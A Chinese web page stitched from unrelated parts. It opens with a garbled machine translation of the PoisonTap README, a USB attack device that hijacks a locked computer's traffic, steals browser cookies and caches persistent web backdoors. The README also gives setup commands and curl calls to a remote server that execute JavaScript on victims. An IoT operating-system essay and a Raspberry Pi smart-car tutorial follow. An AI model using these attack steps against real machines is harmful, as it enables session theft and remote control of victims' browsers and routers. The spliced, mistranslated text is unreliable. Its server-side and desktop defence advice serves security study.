整合營銷服務商

          電腦端+手機端+微信端=數據同步管理

          免費咨詢熱線:

          PoisonTap-虹吸cookie,暴露內部路由器并在已鎖定的計算機上安裝Web后門

          oisonTap - 虹吸cookie,暴露內部路由器并在已鎖定的計算機上安裝Web后門

          由@SamyKamkar創建||https://samy.pl

          當PoisonTap(Raspberry Pi Zero&Node.js)插入到受鎖/受密碼保護的計算機中時,它:

          • 通過USB(或Thunderbolt)模擬以太網設備

          • 劫持來自機器的所有互聯網流量(盡管是低優先級/未知網絡接口)

          • 虹吸并存儲來自網絡瀏覽器的HTTP Cookie和會話,用于Alexa前100萬個網站

          • 將內部路由器暴露給攻擊者,使其可通過出站WebSocket和DNS重新綁定(遠程訪問Matt Austin進行重新綁定)!

          • 在HTTP緩存中為數十萬個域和常見的Javascript CDN URL安裝一個持久的基于Web的后門,所有這些都可以通過緩存中毒訪問用戶的cookie

          • 允許攻擊者遠程強制用戶使用任何退回的域中的用戶的Cookie進行HTTP請求和代理回復(GET&POST)

          • 它不要求機器被解鎖

          • 后門和遠程訪問仍然存在,即使在設備被刪除并且攻擊者之后移動

          (Ara令人難以置信的HTML5畫布動畫)

          PoisonTap避免了以下安全機制:

          • 密碼保護鎖屏

          • 路由表優先級和網絡接口服務訂單

          • 同源政策

          • X-框架,選項

          • HttpOnly Cookies

          • SameSite cookie屬性

          • 雙因素/多因素認證(2FA / MFA)

          • DNS固定

          • 跨原始資源共享(CORS)

          • HTTPS的cookie保護當安全 cookie的標志和HSTS未啟用


          演示

          PoisonTap是為$ 5 Raspberry Pi Zero而設計的,除了micro-USB電纜和microSD卡之外,還可以使用任何其他組件,或者可以使用以太網到USB / Thunderbolt加密狗的任何Raspberry Pi(1/2/3)工作,或可以在可以模擬USB小工具的其他設備上工作,如USB Armory和LAN Turtle。

          視頻中的實時演示和更多詳細信息:

          聯絡點: @SamyKamkar //https://samy.pl

          發布日期: 2016 年 11月16日

          源代碼和下載: https://github.com/samyk/poisontap


          毒藥塔如何運作

          PoisonTap通過利用機器和網絡的各種機制(包括USB / Thunderbolt,DHCP,DNS和HTTP)的現有信任來產生級聯效應,以產生信息滲透,網絡訪問和半永久后門的安裝的雪球效應。

          簡而言之,PoisonTap執行以下操作:

          網絡劫持

          • 攻擊者將PoisonTap(如武器化的Raspberry Pi Zero)插入鎖定的計算機(即使計算機受密碼保護)

          • PoisonTap模擬以太網設備(例如,通過USB / Thunderbolt的以太網) - 默認情況下,Windows,OS X和Linux識別以太網設備,自動將其作為低優先級網絡設備加載并執行DHCP請求,即使機器被鎖定或密碼保護

          • PoisonTap響應DHCP請求并向機器提供IP地址,但是DHCP響應是為了告訴機器整個IPv4空間(0.0.0.0 - 255.255.255.255)是PoisonTap本地網絡的一部分,而不是一個小子網(例如192.168.0.0 - 192.168.0.255)

          • 通常,如果輔助網絡設備連接到一臺機器,那么它將比現有的(受信任的)網絡設備的優先級低,并且不會取代網關以進行互聯網流量,這是不重要的,但是...

          • 由于“互聯網流量”的“LAN流量”的優先級,任何路由表/網關優先級/網絡接口服務訂單安全性被繞過,

          • PoisonTap利用此網絡接入,甚至作為一個低優先級的網絡設備,因為該子網 A的低優先級的網絡設備比給予更高的優先級網關的的(默認路由)最高優先級的網絡設備

          • 這意味著如果流量注定為1.2.3.4,通常這個流量會達到主(非PoisonTap)網絡設備的默認路由/網關,PoisonTap實際上會獲得流量,因為PoisonTap“本地”網絡/子網據說包含1.2 .3.4,存在的其他IP地址;)

          • 因此,即使機器連接到具有較高優先級的網絡設備和正確的網關(真正的WiFi,以太網等),所有互聯網流量都會超過PoisonTap。

          餅干虹吸

          • 只要Web瀏覽器運行后臺,開放頁面之一可能會在后臺執行HTTP請求(例如,加載新廣告,將數據發送到分析平臺,或者只是繼續跟蹤您的網頁)運動)通過AJAX或動態腳本/ iframe標簽

          • 您可以自己看到這一點,進入您的devtools /檢查員(通常為Cmd + Shift + I或Ctrl + Shift + I),訪問訪問量很大的網站,點擊網絡標簽,并觀看遠程資源繼續訪問即使你在頁面上沒有采取任何行動

          • 根據此HTTP請求,由于所有流量退出到PoisonTap設備上,PoisonTap DNS即時傳播返回自己的地址,導致HTTP請求命中PoisonTap Web服務器(Node.js)

          • 如果DNS服務器指向PoisonTap無法獲得特權的內部IP(LAN),攻擊將繼續發揮作用,因為內部DNS服務器將為各種被攻擊的域產生公共IP地址,而這是公共IP地址PoisonTap已經劫持

          • 一旦內部DNS服務器做出響應,Web瀏覽器就會觸發公共IP,最終在任一情況下擊中PoisonTap Web服務器(Node.js)

          • 當Node Web服務器接收到請求時,PoisonTap會響應一個可以解釋為HTML或Javascript的響應,兩者都能正常執行(許多網站將在后臺請求中加載HTML或JS)

          • HTML / JS不可知頁面然后生成許多隱藏的iframe,每個iframe跨不同的Alexa-top-100萬域

          • 域名上的任何“X-Frame-Options”安全性被忽略,因為PoisonTap現在是HTTP服務器,并選擇要發送給客戶端的頭文件

          • 隨著對站點的每個iframe HTTP請求(例如http://nfl.com/PoisonTap),HTTP Cookie從瀏覽器發送到被PoisonTap劫持的“公共IP”,它迅速記錄cookie /身份驗證信息將數萬個用戶的Cookie記錄到PoisonTap中

          • 任何“HttpOnly”cookie安全性被繞過,并且這些cookie被捕獲,因為在域本身上沒有執行Javascript,而是僅用于首先加載iframe

          • 任何跨原始資源共享或同源策略安全性被繞過,因為訪問域看起來對瀏覽器是合法的

          • 因為我們正在抓取Cookie而不是憑據,所以當攻擊者使用cookie登錄時,網站上實現的任何2FA / MFA都將被繞過。這是因為我們還沒有實際執行的登錄功能,而是繼續已經登錄這不會話不會觸發雙因素身份驗證

          • 如果服務器正在使用HTTPS,但是Cookie并未明確設置Secure Cookie標志,則HTTPS保護被繞過,并將該cookie發送到PoisonTap

          可遠程訪問的基于Web的后門

          • 雖然PoisonTap正在產生成千上萬的I幀,迫使瀏覽器加載每一個,這些iframe會并不只是空白頁面,而是HTML +的Javascript后門被無限期緩存

          • 因為PoisonTap強制將這些后門緩存在每個域上,所以后門綁定到該域,使攻擊者能夠使用域的cookie,并在將來啟動同源請求,即使用戶當前未登錄

          • 例如,當http://nfl.com/PoisonTap iframe加載時,PoisonTap接受轉移的Internet流量,通過Node web服務器響應HTTP請求

          • 添加額外的HTTP頭以無限期緩存該頁面

          • 該頁面的實際響應是HTML和Javascript的組合,它會向攻擊者的Web服務器(通過Internet而不是PoisonTap設備)生成一個持久的WebSocket,

          • WebSocket保持打開,允許攻擊者在將來的任何時間連接回退回機器,并執行任何具有后門實現的源代碼(Alexa的前100萬個站點 - 見下文)

          • 如果后門在一個站點(例如,nfl.com)上打開,但用戶希望攻擊不同的域(例如pinterest.com),攻擊者可以將nfl.com上的iframe加載到pinterest.com后門(http://pinterest.com/PoisonTap)

          • 再次,域上的任何“X框架選項”,跨原始資源共享和同源策略安全性完全被忽略,因為請求將觸發PoisonTap離開的緩存,而不是真正的域

          內部路由器后門和遠程訪問

          • 一個網絡PoisonTap不能劫持是真實網絡接口的實際LAN子網(例如,如果用戶的wifi子網為192.168.0.x,則該網絡不受影響),但...

          • PoisonTap強制將一個后門緩存在一個特殊的主機上,特別是目標路由器的IP前身為“.ip.samy.pl”,例如192.168.0.1.ip.samy.pl,本質上是產生持久的 DNS重綁定攻擊

          • 當使用PoisonTap作為DNS服務器(受害者使用公共DNS服務器)時,PoisonTap會臨時響應專門的PoisonTap IP(1.0.0.1),這意味著當時的任何請求都將觸發PoisonTap Web服務器

          • 如果DNS服務器設置為內部網絡(例如192.168.0.x),則會另外特別要求1.0.0.1 **。pin。** ip.samy.pl告訴我的專用DNS服務器(在公共互聯網上)暫時響應任何[ip.address] .ip.samy.pl地址與“固定”地址(1.0.0.1)幾秒鐘

          • 然后,PoisonTap在http://192.168.0.1.ip.samy.pl/PoisonTap上快速設置了一個后門,該漏洞目前指向1.0.0.1的PoisonTap設備,允許從PoisonTap設備訪問并緩存后門

          • DNS綁定和DNS重新綁定的安全性被繞過由于DNS綁定表的耗盡,由于以前成千上萬的請求,并且將來不需要重新綁定,這使得這種攻擊持續了很長一段時間(由于馬特奧斯汀與我分享這次攻擊!)

          • 現在,一個后門被強制緩存到http://192.168.0.1.ip.samy.pl/PoisonTap,任何將來對192.168.0.1.ip.samy.pl的請求將會打到未被解除的 IP地址,導致192.168.0.1要解決,直接指向路由器

          • 這意味著如果通過后門遠程加載iframe中的192.168.0.1.ip.samy.pl/PoisonTap主機,您現在可以對內部路由器上的任何其他頁面執行AJAX GET / POSTs ,完全遠程,從而允許遠程訪問內部路由器

          • 這可能導致攻擊者可能從未訪問過的路由器的其他攻擊,例如用于覆蓋DNS服務器的路由器上的默認管理員憑據,或其他身份驗證漏洞

          DNS服務器的概述:

          • [ip.addy] .ip.samy.pl 通常用[ip.addy]

          • 192.168.0.1.ip.samy.pl - > 192.168.0.1(A記錄)

          • [ip.addy] .pin.ip.samy.pl 暫時(?5 秒)分* .ip.samy.pl到[ip.addy]

          • 1.0.0.1.pin.ip.samy.pl - > 1.0.0.1

          • 192.168.0.1.ip.samy.pl - > 1.0.0.1(A記錄,短TTL)

          • (約5秒鐘后)

          • 192.168.0.1.ip.samy.pl - > 192.168.0.1(A記錄)

          其他可遠程訪問的基于Web的后門

          • 此外,PoisonTap替代了成千上萬種常見的基于CDN的Javascript文件,例如Google和jQuery CDN,使用正確的代碼加上一個后門,使攻擊者可以訪問任何加載受感染的基于CDN的Javascript文件的域

          • 因為每個域都有一個后門,這樣就可以讓攻擊者遠程強制后退的瀏覽器在幾乎任何主要的域上執行相同的起始請求(AJAX GET / POST),即使受害者目前沒有任何打開的窗口域

          • 后門將現在生活在任何其他網站上,當受害者訪問該網站時,還會使用這些受感染的基于HTTP的CDN Javascript框架之一


          保護毒藥

          服務器端安全性

          如果您正在運行一個Web服務器,那么防范PoisonTap就很簡單:

          • 至少使用HTTPS進行認證和驗證的內容

          • 老實說,您應該專門使用HTTPS,并始終將HTTP內容重定向到HTTPS,以防止用戶被欺騙提供憑據或通過HTTP提供其他PII

          • 確保Cookie上啟用了安全標志,防止HTTPS Cookie通過HTTP泄漏

          • 使用遠程JavaScript資源時,請使用Subresource Integrity腳本標記屬性

          • 使用HSTS來防止HTTPS降級攻擊

          桌面安全

          • 將水泥添加到USB和Thunderbolt端口可以有效

          • 每次離開機器時關閉瀏覽器都可以工作,但完全不切實際

          • 禁用USB / Thunderbolt端口也是有效的,盡管也是不切實際的

          • 鎖定電腦沒有任何效果,因為網絡和USB堆棧在機器被鎖定時運行,但是,進入加密睡眠模式,需要密鑰來解密內存(例如FileVault2 +深度睡眠)解決了大多數問題,作為您的瀏覽器將不再提出請求,即使喚醒


          下載

          源代碼: https://github.com/samyk/poisontap


          安裝/文件分解

          注意:如果您發現設備不是自動作為以太網控制器(例如Windows的舊版本),則可以在pi_startup.sh中更改VID和PID

          #指令從https://gist.github.com/gbaman/50b6cca61dd1c3f88f41調整sudo bash#如果Raspbian BEFORE甚至-10,那么運行下一行:BRANCH = next rpi-updateecho -e “ \ nauto usb0 \ nallow-hotplug usb0 \ niface usb0 inet static \ n \ taddress 1.0.0.1 \ n \ tnetmask 0.0.0.0 ” >> / etc / network / interfaces echo “ dtoverlay = dwc2 ” >> / boot /config.txt echo -e “ dwc2 \ ng_ether ” >> / etc / modulessudo sed -in-place “ / exit 0 / d ” /etc/rc.local echo “ / bin / sh /home/pi/poisontap/pi_startup.sh ” >> /etc/rc.localmkdir / home / pi / poisontapchown -R pi / home / pi / poisontapapt-get update && apt-get升級apt-get -y安裝isc-dhcp-server dsniff screen nodejs

          將dhcpd.conf放在/etc/dhcp/dhcpd.conf中,然后將其他文件放在/ home / pi / poisontap中,然后重新啟動以確保一切正常。

          repo中有多個文件,它們在不同的方面使用。列表:

          • backdoor.html - 每當一個http:// hostname / PoisonTap URL被命名為exfiltrate cookies時,這個文件是作為強制緩存的內容返回的。它包含一個后門,它產生一個出站的websocket到samy.pl:1337(可調整到任何主機/端口),等待命令從服務器繼續打開。這意味著當您在網站上加載iframe(例如http:// hostname / PoisonTap)時,即使在從機器中刪除PoisonTap之后,這也是填充的內容。

          • backend_server.js - 這是您在Internet可訪問的服務器上運行的Node.js服務器。這是backdoor.html連接的(例如,samy.pl:1337)。這是與您連接的命令相同的服務器,以發送到您的PoisonTapped小型機器,例如

          #流行警惕受害者 卷曲 ' http://samy.pl:1337/exec?alert("muahahahaha“)‘ #設置在受害人一個cookie 卷曲 ’ http://samy.pl:1337/exec?document.cookie =“key = value” ' #強制受害者通過ajax加載一個url(注意,jQuery存儲在后門) curl'http: //samy.pl:1337/exec?$.get( " http:// 192.168.0.1.ip.samy.pl/login",function(d)\ {console.log(d)\})'
          • pi_poisontap.js - 這是通過Raspberry Pi Zero上的Node.js運行的,是HTTP服務器,負責處理由PoisonTap攔截的任何HTTP請求,存儲虹吸cookie,并注入緩存的后門。

          • pi_startup.sh - 在Raspberry Pi Zero啟動時運行,以便將設備設置為模擬USB以太網小工具,設置我們的惡意DHCP服務器,允許流量重新路由,DNS欺騙,并啟動pi_poisontap.js以上。

          • target_backdoor.js - 此文件是與任何CDN相關的Javascript文件,因此后門他們,例如Google CDN的jQuery網址。

          • target_injected_xhtmljs.html - 這是在受害者機器上注入到無意/后臺HTTP / AJAX請求中的代碼,并產生了整個攻擊。它的構造方式是將其解釋為HTML或Javascript,并仍然執行相同的代碼。另外,驚人的HTML5畫布是由令人難以置信的Ara oen CodePen,是太驚人,不包括。這是當頁面被PoisonTap接管時出現的圖形化瘋狂。

          • poisontap.cookies.log - 一旦用戶的機器開始向PoisonTap發送HTTP請求,就會生成此文件,并將該cookie與瀏覽器及其所屬的相關聯的URL /域一起記錄下來。


          經常問的問題

          • 問:如何添加要退回的其他域?

          target_injected_xhtmljs.html

          getDoms()

          • 函數設置。這本身就由

          alexa1m.sh

          • repo根目錄中的腳本填充。如果您希望在此列表中添加其他域名,您可以簡單地修改返回呼叫

          getDoms()

          • A:要退回的域列表

          • 問:您如何使用捕獲的Cookie?

          • A:您可以直接從瀏覽器中的JavaScript控制臺使用Document.cookie API來設置Cookie。此StackOverflow文章還提供了一些Chrome特定的建議,例如Cookie檢查器Chrome擴展程序。

          聯網操作系統的前景如何?會不會出現移動互聯網時代的爭霸局面?與傳統的個人計算機或個人智能終端(智能手機、平板電腦等)上的操作系統不同,物聯網操作系統有其獨特的特征。

          這些特征是為了更好的服務物聯網應用而存在的,運行物聯網操作系統的終端設備,能夠與物聯網的其它層次結合的更加緊密,數據共享更加順暢,能夠大大提升物聯網的生產效率。

          物聯網操作系統的作用

          除具備傳統操作系統的設備資源管理功能外,物聯網操作系統還具備下列功能:

          1.屏蔽物聯網碎片化的特征,提供統一的編程接口。

          所謂碎片化,指的是硬件設備配置多種多樣,不同的應用領域差異很大。從小到只有幾K內存的低端單片機,到有數百M內存的高端智能設備。

          傳統的操作系統無法適應這種"廣譜"的硬件環境,而如果采用多個操作系統(比如低端配置,采用嵌入式操作系統,高端配置設備,采用Linux等通用操作系統),則由于架構的差異,無法提供統一的編程接口和編程環境。

          2.正是這種"碎片化"的特征,牽制了物聯網的發展和壯大。

          物聯網操作系統則充分考慮這些碎片化的硬件需求,通過合理的架構設計,使得操作系統本身具備很強的伸縮性,很容易的應用到這些硬件上。

          3.同時,通過統一的抽象和建模,對不同的底層硬件和功能部件進行抽象,抽象出一個一個的"通用模型",對上層提供統一的編程接口,屏蔽物理硬件的差異。

          這樣達到的一種效果就是, 同一個APP,可以運行在多種不同的硬件平臺上,只要這些硬件平臺運行物聯網操作系統即可。

          這與智能手機的效果是一樣的,同一款APP,比如微信,既可以運行在一個廠商的低端智能手機上,又可以運行在硬件配置完全不同的另一個廠商的高端手機上,只要這些手機都安裝了Android操作系統。

          顯然,這樣一種獨立于硬件的能力,是支撐物聯網良好生態環境形成的基礎。

          那么,物聯網生態環境如何培育?

          拉通物聯網產業的上下游,培育物聯網硬件開發、物聯網系統軟件開發、物聯網應用軟件開發、物聯網業務運營、網絡運營、物聯網數據挖掘等分離的商業生態環境,為物聯網的大發展建立基礎。類似于智能終端操作系統(iOS、Andriod等)對移動互聯網的生態環境培育作用。

          如何降低物聯網應用開發的成本和時間?

          物聯網操作系統是一個公共的業務開發平臺,具備豐富完備的物聯網基礎功能組件和應用開發環境,可大大降低物聯網應用的開發時間和開發成本;提升數據共享能力:統一的物聯網操作系統具備一致的數據存儲和數據訪問方式,為不同行業之間的數據共享提供了可能。

          物聯網操作系統可打破行業壁壘,增強不同行業之間的數據共享能力,甚至可以提供"行業服務之上"的服務,比如數據挖掘等;為物聯網統一管理奠定基礎。

          采用統一的遠程控制和遠程管理接口,即使行業應用不同,也可采用相同的管理軟件對物聯網進行統一管理,大大提升物聯網的可管理性和可維護性,甚至可以做到整個物聯網的統一管理和維護。

          一般來說,物聯網操作系統由內核、通信支持(WiFi/藍牙、2/3/4G等通信支持、NFC、RS232/PLC支持等)、外圍組件(文件系統、GUI、Java虛擬機、XML文件解析器等)、集成開發環境等組成,基于此,可衍生出一系列面向行業的特定應用!



          物聯網操作系統是行業應用得以茁壯生長和長期有效生存的基礎,只有具備了強大靈活的物聯網操作系統,物聯網這棵大樹才能結出豐碩的果實。

          對于物聯網發展而言,“碎片化”是主要的問題,其中芯片、傳感器、通信協議、應用場景千差萬別,“山頭林立”。

          比如無線通信標準,就有藍牙、Wi-Fi、ZigBee、PLC、Z-Wave、RF、Thread、Z-Wave、NFC、UWB、LiFi、NB-IoT、LoRa等等。很明顯,技術方案不統一,體系結構不一致,阻礙了物聯網的發展,也局限了互聯互通的范圍。

          然而,各種操作系統可以支持不同的硬件、通信標準、應用場景。開源,有利于打破技術障礙和壁壘,提高互操作性和可移植性,減小開發成本,同時也適合開源社區的開發人員參與進來。

          操作系統,是物聯網中一個十分關鍵的環節,而開源更佳助推了物聯網的開放和發展。

          目前,開源操作系統在物聯網中的應用已經十分廣泛,以后也必將在物聯網中扮演越來越重要的角色。

          手機市場呈現出Android和iOS兩家獨大的局面,而在物聯網體系中,操作系統也呈現出多樣性的特點,并不是一兩種操作系統可以支持所有的物聯網設備。



          后附十大物聯網開源操作系統。

          注:(微軟的Windows 10 for IoT 和 蘋果的 iOS,雖然也是很強大,但是因為閉源,不在本文介紹之列。)

          1) Andorid Things

          Andorid Things 是谷歌上周剛推出的物聯網操作系統,是去年推出的“Brillo”操作系統的更新版本,作為 Andorid 系統的一個分支版本,類似于可穿戴和智能手表用的Andorid Wear(實際上它也是一種物聯網操作系統)。

          它使用一種名為 Weave的通信協議,實現設備與云端相連,并且與谷歌助手等服務交互。Android Things 面向所有Java開發者,不管開發者有沒有移動開發經驗。該操作系統將能夠支持一系列物聯網設備的計算平臺,其中包括英特爾Edison 平臺,NXP公司的Pico平臺,以及“樹莓派3”。

          2) Contiki

          Contiki,是一個開源的、容易移植的多任務操作系統,適用于內存受限的網絡任務。Contiki 項目的作者是瑞典計算機科學研究所的網絡嵌入式系統小組的Adam Dunkels 博士。

          該系統只需要幾千字節或者幾百字節的內存,就能提供多任務操作系統環境和TCP/IP支持。它已經移植并成功運行于嵌入式微控制器平臺(TI MSP430,Atmel AVR)以及電腦、游戲機等平臺。它支持的協議有全標準 IPv6 和 IPv4,以及低功耗網絡標準:6lowpan、RPL、CoAP。

          3) eLinux

          eLinux,也稱為Embedded Linux,即嵌入式Linux 操作系統,該操作系統基于Linux 內核,是Linux 對于嵌入式系統的裁剪版,支持該操作系統的廠家、芯片和產品比較廣泛。該操作系統的維基主頁提供了開發、硬件、產品、廠家、社區等一系列相關信息。

          4) FreeRTOS

          FreeRTOS 是一個迷你的實時操作系統內核,功能包括:任務管理、時間管理、信號量、消息隊列、內存管理、記錄功能、軟件定時器、協程等,可基本滿足較小系統的需要。

          FreeRTOS 操作系統是完全開源你的操作系統,具有源碼公開、可移植、可裁減、調度策略靈活的特點。

          目前,該操作系統已經數百萬設備上部署,它號稱是“市場上領先的嵌入式實時操作系統”,能夠為微控制器和微處理器提供很好的解決方案。

          5) mbed OS

          這款操作系統由ARM開發,專門為運行ARM處理器的物聯網設備而設計。它包含了C++應用程序網絡,公司也提供其他開發工具和相關的設備服務器。

          默認情況下,mbed 操作系統是事件驅動的單線程架構,而非多線程(實時操作系統)環境。 這確保了它可以擴展到尺寸最小、成本最低且功耗最低的物聯網設備。

          ARM在移動設備端有著強大的市場占有率,所以這款操作系統實力和前景不可小覷。

          6) Raspbian

          Raspbian 是一款基于Debian,為樹莓派硬件而設計的操作系統。這個操作系統包括一些列的基礎程序和工具,保證樹莓派硬件的運行。

          7) RIOT

          RIOT,將自己稱為“友好的物聯網操作系統”,致力于開發者友好、資源友好、物聯網友好,關鍵的功能包括C/C++支持、多線程、能量效率、部分遵守POSIX等等。

          RIOT 開源社區自2008年以來就啟動了。RIOT能夠在眾多平臺上運行包括嵌入式設備、PC、傳感器等。

          8) Ubuntu Core

          Ubuntu 是目前最流行的Linux 版本,而Ubuntu Core旨在將Ubuntu 帶向物聯網世界。它可以運行例如微軟Azure、 谷歌計算引擎、 亞馬遜彈性云計算服務,也可以運行在例如BeagleBone Black 和樹莓派等硬件上。

          9) Huawei LiteOS

          Huawei LiteOS 是華為面向IoT領域,構建的“統一物聯網操作系統和中間件軟件平臺”,具有輕量級(內核小于10k)、低功耗、互聯互通、安全等關鍵能力。Huawei LiteOS 目前主要應用于智能家居、穿戴式、車聯網、智能抄表、工業互聯網等 IoT 領域的智能硬件上,還可以和LiteOS生態圈內的硬件互聯互通,提高用戶體驗。

          Liteos操作系統具有能耗最低,尺寸小、響應快等特點,也建立了開源社區,能夠支持的芯片例如海思的PLC芯片HCT3911、媒體芯片3798M/C、IPCamera芯片Hi3516A,以及LTE-M芯片等。

          10) Tizen

          Tizen,Linux基金會和LiMo基金會,聯合英特爾和三星電子,共同開發的開源操作系統,它可以滿足物聯網設備生態系統(包括設備制造商、手機運營商、應用開發者、獨立軟件服務提供商)的需求,應用于手機、電視、穿戴等多個產品。

          Tizen底層平臺相關API按照HTML5的形式公開出來,服務將涵蓋通信、多媒體、相機、網絡、社區媒體等。三星已經售賣了幾款搭載該操作系統的產品,是它的最大支持者。

          當然,物聯網操作系統還不僅僅是以上這些,隨著物聯網的快速發展,必將進一步形成眾所心儀的對象,那時候也可能出現一家獨大的局面。

          目前既然行業如此碎片化,那就先百家爭鳴,百花齊放,最終讓市場來決定!



          未來將是物聯世界,讓我們相約2019年11月19-21日,相約2019(第三屆)全球物聯網大會—尋找思考者!

          ——————本文完——————

          聲明:本文系《洞悉——物聯網發展1000問》系列文章第二十三篇,旨在希望通過系統性與行業專業視角就物聯網產業當前發展現狀與經濟潛力予以分析和分享。IOT物聯網,萬物互聯,互聯萬物。



          作者:王正偉(物哥 WXID:iot-wang)中關村物聯網產業聯盟秘書長 全球物聯網大會主席 本文系作者原創轉載請注明出處

          創物聯-智能小車第一季

          更換封面

          00:15 視頻尚未發布,暫時無法播放

          • 前言
          • 開發準備
          • 硬件
          • 軟件
          • 硬件連接
          • 環境部署
          • 阿里云應用
          • MJPG-Streamer
          • frp反向代理
          • 申請域名解析
          • 服務器部署 Nginx
          • 配置測試頁面
          • 阿里云微消息隊列MQTT
          • 海創物聯開發平臺部署

          前言

          智能小車,自娛自樂,希望通過該分享幫助更多愛好者們化繁為簡,待我完成到第三季,我將會把程序放出來拱大家使用,我準備分三季來實現,APP后臺部署在阿里小程序云,通過阿里云MQTT消息隊列服務,來完成指令控制,并實現事件日志機制。

          第一季實現小車的控制目標

          1、實現小車4驅控制

          2、實現攝像頭實時查看,借助反向代理來完成內外網的通信

          3、實現指令通過阿里云微消息隊列MQTT來交互

          4、設計APP端的控制界面實現

          第二季實現目標

          1、實現攝頭云端控制

          2、人臉檢測

          3、打包容器

          4、熱體紅外+超聲波測距+濕度溫度

          第三季實現目標

          思考中。。

          第一季開發準備

          硬件

          • 樹莓派3b+
          • 小車底座
          • L298N電機驅動模塊
          • 杜邦線
          • 充電寶
          • 6v~50V電源
          • 樹莓派專用攝像頭 Raspberry Pi Camera

          軟件

          • 阿里小程序云應用(阿里云小程序繁星計劃,目前可以免費申請體驗)
          • MJPG-Streamer
          • frp
          • 阿里云微消息隊列MQTT

          硬件連接

          整體效果

          1. 樹莓派上電,將充電寶用usb線將樹莓派于其連接,可看到樹莓派紅色指示燈常亮,綠色指示燈閃爍。如果發現紅色指示燈忽然熄滅或者亮點很低,請檢查充電寶輸出電壓以及電流是否太低
          2. 插入樹莓派攝像頭,注意不要插反,排線金屬側正對插排口金屬側,插入后扣緊排口

          1. gpio與電機驅動模塊in口連接。這邊我們選擇GPIO5、GPIO6、GPIO12、GPIO13、GPIO19、GPIO16、GPIO26、GPIO20 (GIPIO與針腳值不一致,對應針腳位置請參考下圖,針腳39,40的位置在USB口旁邊) 與驅動模塊的IN1~IN8連接 (連接順序請自行調整,驅動模塊IN1的數字量輸入控制OUT1輸出,OUT1-OUT2如果連接同一個電機的輸入和輸出端,那么IN1-IN2對應輸入數字信號[1,0]則代表前進,[0,1]代表后退,[0,0]或者[1,1]代表停止,以此類推IN1~IN8,OUT1~OUT8)

          環境部署

          阿里云應用

          云應用是面向小程序應用場景,為開發者提供的一鍵構建后端應用運行環境、后端服務部署、運維監控等能力的一站式小程序部署服務。

          我們需要申請一個云應用充當小程序的服務器以及fpc服務器。現在阿里推出繁星計劃,可以免費申請2個月的測試環境以及一個月的生產環境,無需申請,直接在應用界面新建新運用,創建詳情請參考文檔

          在控制臺獲取服務器ip用戶名(默認root)、密碼(需要修改默認密碼,然后重啟服務器),通過SSH工具連接,用于部署下面步驟

          MJPG-Streamer

          MJPG-Streamer是一個命令行應用程序,它將JPEG幀從一個或多個輸入插件復制到多個輸出插件。它可用于通過基于IP的網絡將JPEG文件從網絡攝像頭流式傳輸到各種類型的查看器,如Chrome,Firefox,Cambozola,VLC,mplayer和其他能夠接收MJPG流的軟件。

          1. 開啟樹莓派攝像頭
          2. 樹莓派攝像頭總線是默認沒開啟的,請在命令行中開啟,進入后,選擇camera項,再選擇enable,然后重啟
          sudo raspi-config
          
          1. 安裝必要的庫

          sudo apt-get update

          sudo apt-get install subversion

          sudo apt-get install libjpeg8-dev

          sudo apt-get install imagemagick

          sudo apt-get install libv4l-dev

          sudo apt-get install cmake

          sudo apt-get install git

          1. git開源的project到本地,編譯

          sudo git clone https://github.com/jacksonliam/mjpg-streamer.git

          cd mjpg-streamer/mjpg-streamer-experimental

          make all

          sudo make install

          1. 解決V4L driver不支持的問題
          sudo wget http://www.linux-projects.org/listing/uv4l_repo/lrkey.asc &&
          sudo apt-key add ./lrkey.asc
          

          修改sources.list,在末尾添加源,并安裝uv4l uv4l-raspicam,然后重啟

          sudo nano /etc/apt/sources.list

          #末尾添加,保存

          deb http://www.linux-projects.org/listing/uv4l_repo/raspbian/ wheezy main

          sudo apt-get update

          sudo apt-get install uv4l uv4l-raspicam

          sudo reboot

          重啟之后:

          sudo pkill uv4l
          sudo apt-get update
          sudo apt-get install uv4l-uvc
          sudo apt-get install uv4l-xscreen
          sudo apt-get install uv4l-mjpegstream
          sudo reboot
          

          再一次重啟之后開啟視頻流服務

          sudo modprobe bcm2835-v4l2
          ./mjpg_streamer -i "./input_uvc.so -d /dev/video0 -n -y -f 25 -r 640x480" -o "./output_http.so -n -w /usr/local/www"
          

          然后打開瀏覽器輸入:http://raspberry-ip-address:8080/?action=stream

          應該就可以看到Raspberry Pi Camera采集的動態視頻了,延遲大概不超過0.8秒吧。

          frp

          frp是一個快速反向代理,可幫助您將NAT或防火墻后面的本地服務器暴露給Internet。截至目前,它支持tcp&udp以及http和https協議,其中請求可以通過域名轉發到內部服務。

          1. 服務端部署 frps
          2. 在購買的服務端(有公網IP)部署frps,用于穿透樹莓派本地的視頻流

          wget --no-check-certificate https://raw.githubusercontent.com/clangcn/onekey-install-shell/master/frps/install-frps.sh -O ./install-frps.sh

          chmod 700

          ./install-frps.sh

          ./install-frps.sh install

          然后一直回車(默認配置),知道全部安裝完成。安裝成功截圖

          1. 啟動frps

          frps start

          查看frps版本號

          frps -v
          

          我這邊安裝的是version 0.20.0,客戶端也要安裝對應版本的

          3. 樹莓派部署frpc

          由于我們服務器部署frps的版本是version 0.20.0,所以我們本地也要部署相同的版本

          wget https://github.com/fatedier/frp/releases/download/v0.20.0/frp_0.20.0_linux_arm.tar.gz
          tar zxvf frp_0.20.1_linux_arm.tar.gz
          cd frp_0.14.1_linux_arm
          vi frpc.ini
          

          修改 frpc.ini 文件

          # frpc.ini
          [common]
          #服務器IP
          server_addr = x.x.x.x
          #服務器fpcs服務對應端口Bind port
          server_port = 5443 
          #服務端token
          oken = 你的服務端token
          [ssh]
          type = tcp
          local_ip = 127.0.0.1
          local_port = 22
          remote_port = 6000
          #[]內名稱不能重復,標簽作用
          [web_raspberry_web]
          type = http
          #端口號 對應本機視頻web服務器的端口
          local_port = 8080
          #配置穿透外網訪問域名,可設置多個
          custom_domains = raspberry.你的域名.com
          

          修改好frpc.ini后,啟動frpc客戶端。如果想在后臺運行,可在命令后加 &

          ./frpc -c frpc.ini 
          

          申請域名解析

          將你的的域名主機記錄 raspberry A 記錄解析到你的服務器IP x.x.x.x

          服務器部署 Nginx

          Nginx (engine x) 是一個高性能的HTTP和反向代理web服務器,同時也提供了IMAP/POP3/SMTP服務。

          Ubuntu16.04安裝及配置nginx

          1. 安裝gcc g++的依賴庫

          apt-get install build-essential

          apt-get install libtool

          1. 安裝pcre依賴庫
          sudo apt-get update
          sudo apt-get install libpcre3 libpcre3-dev
          
          1. 安裝zlib依賴庫

          apt-get install zlib1g-dev

          4.安裝ssl依賴庫

          apt-get install openssl
          

          安裝nginx

          #下載最新版本:
          wget http://nginx.org/download/nginx-1.16.0.tar.gz
          #解壓:
